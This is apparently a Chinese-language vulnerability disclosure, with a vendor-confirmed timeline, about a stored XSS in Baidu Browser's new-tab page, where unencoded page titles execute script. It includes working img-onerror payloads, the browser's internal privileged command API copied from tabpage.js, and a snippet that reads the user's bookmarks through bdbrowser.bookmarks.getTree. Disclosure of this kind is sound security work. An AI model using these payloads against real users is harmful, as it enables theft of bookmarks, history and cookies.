2014-06-12: 细节已通知厂商并且等待厂商处理中 2014-06-13: 厂商已经确认,细节仅向厂商公开 2014-06-23: 细节向核心白帽子及相关领域专家公开 2014-07-03: 细节向普通白帽子公开 2014-07-13: 细节向实习白帽子公开 2014-07-27: 细节向公众公开
百度浏览器xss致自身可被劫持
1、漏洞原因问题出在bdbrowser://tabpage/,【手动编辑】时,【最常访问】哪儿会出现访问的top8。结果网页的title没有编码直接写入导致xss。如图:
2、漏洞复现比方说百度搜索,http://www.baidu.com/s?word=<img%20src=x%20onerror=alert(/i@tmxk.org/)>然后新建空白页,手工编辑时
然后就是管理员的神回复,谁好端端的去搜xss代码,我说点击别人发的的连接,百度的谁怀疑呢,还觉得你x的是百度首页。。好吧,继续复现。既然是title,我构造一个友好的页面。页面title为<img src=x onerror=alert(/i@tmxk.org/)>我先打开http://tmxk.org/team,然后手动编辑,如下效果
你再给我唧唧歪歪。
3、漏洞利用我tm就想找个接口弹个calc,找了一个小时没找到,但是获取一下用户的cookie、浏览历史、收藏夹总可以吧。分析bdbrowser://tabpage/源码,在bdbrowser://tabpage/tabpage.js发现接口:
Backbone.sync = function(method, model, options) { switch (options.type) { case "tab": tabExcuteData(method, model, options); break; case "bookMark": bookMarkExcuteData(method, model, options); break; case "close": closeExcuteData(method, model, options); break; case "customNews": customNewsExcuteData(method, model, options); break; case "customVideo": customVideoExcuteData(method, model, options); break; case "customGame": customGameExcuteData(method, model, options); break; case "customSmile": customSmileExcuteData(method, model, options); break; case "customMm": customMmExcuteData(method, model, options); break; } };
找参数,最后发现命令池:
var cmdPool = { //http://fe.baidu.com/doc/a/boss/api/tabpage.text "bdbrowser.tabpage.getFavorites": function(_cmd, params, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, params); }, "bdbrowser.tabpage.getDefinedFavorites": function(_cmd, params, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, params); }, /*tabpage鏈€闀胯闂�*/ "bdbrowser.tabpage.getTopHistory": function(_cmd, params, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, params); }, "bdbrowser.tabpage.removeFavorite": function(_cmd, id, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, id); }, "bdbrowser.tabpage.removeDefined": function(_cmd, id, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, id); }, "bdbrowser.tabpage.openPage": function(_cmd, info, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, info); }, "bdbrowser.tabpage.restoreFavorite": function(_cmd, info, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, info); }, "bdbrowser.tabpage.restoreDefined": function(_cmd, info, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, info); }, "bdbrowser.tabpage.enableMyFavorite": function(_cmd, enable, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, enable); }, "bdbrowser.tabpage.saveFavoritesOrder": function(_cmd, list, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, list); }, "bdbrowser.tabpage.saveDefinedOrder": function(_cmd, list, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, list); }, "bdbrowser.tabpage.getInitData": function(_cmd, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, {}); }, "bdbrowser.tabpage.updateDefinedSite": function(_cmd, params, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, params); }, "bdbrowser.tabpage.updateFavoriteSite": function(_cmd, params, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, params); }, "bdbrowser.tabpage.onFavoriteRemoved.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.tabpage.onDefinedRemoved.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.tabpage.onDefinedOrderChanged.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.tabpage.onFavoriteOrderChanged.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.tabpage.onFavoriteUpdated.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.tabpage.onDefinedUpdated.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.tabpage.onOpenTypeChanged.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.tabpage.onPageMassage.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.global.openPage": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, details); }, "bdbrowser.global.setValue": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, details); }, "bdbrowser.global.getValue": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content.item); }, details); }, "bdbrowser.global.onBroadcast.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content.broadcastMsg); }, {}); }, "bdbrowser.global.broadcast": function(_cmd, items, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content.broadcastMsg); }, items); }, "bdbrowser.global.getTN": function(_cmd, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content.tn); }, {}); }, "bdbrowser.application.getSyncInfo": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content.item); }, details); }, "bdbrowser.application.onSync.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content.item); }, {}); }, "bdbrowser.application.onFlushApp.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content.item); }, {}); }, "bdbrowser.extension.notify": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(){ callback(); }, details); }, "bdbrowser.extension.onNotify.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.extension.onSpecialNotify.addListener": function(_cmd, details, callback){ doRequest(_cmd, function(content){ callback(content); }, details); }, "bdbrowser.bookmarks.getTree": function(_cmd, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.bookmarks.getChildren": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, details); }, "bdbrowser.xhr.send": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, details); }, "bdbrowser.tabpage.removeFavorite": function(_cmd, id, callback){ doRequest(_cmd, function(content){ callback && callback(content); }, id); }, "bdbrowser.global.report": function(_cmd, details, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, details); }, "bdbrowser.history.getRecentClosed": function(_cmd, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.history.updateRecentClosed.addListener": function(_cmd, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.history.deleteAllClosed.addListener": function(_cmd, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.bookmarks.onChanged.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content.item.id, content.item); }, {}); }, "bdbrowser.bookmarks.onCreated.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content.item); }, {}); }, "bdbrowser.bookmarks.onRemoved.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content); }, {}); }, "bdbrowser.bookmarks.onMoved.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ callback(content.item); }, {}); }, "bdbrowser.bookmarks.onSorted.addListener": function(_cmd, callback){ doRequest(_cmd, function(content){ //callback(content.item.id, content.item); callback(); }, {}); }, "bdbrowser.tabpage.getBrowserBgInfo": function(_cmd, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, {}); }} "bdbrowser.tabpage.onBrowserBgChanged.addListener": function(_cmd, callback){ callback = callback || emptyFunction; doRequest(_cmd, function(content){ callback(content); }, {}); }
我随便用两个。获取用户收藏夹:
s=[],s1=[];bdbrowser.bookmarks.getTree(function(result) { result.itemList.forEach(function(item,index){for (a in item) s.push(a);s1.push(item.url)});alert(s1) });
数组s获得所有item参数,数组s1获得用户所有收藏网址。item:
id,title,url,note,parentId,type,accesstime,icon,children
收藏网址:
4、最终利用页面:http://tmxk.org/b.html效果:
5、一个滑稽的事情是,清除历史记录的时候代码还执行?
当然常驻内存也不定用这个,上面的接口比较多,发挥自由哦。
尊重别人的劳动就是尊重自己的产品。
危害等级:中
漏洞Rank:10
确认时间:2014-06-13 15:26
感谢对百度安全的支持。
暂无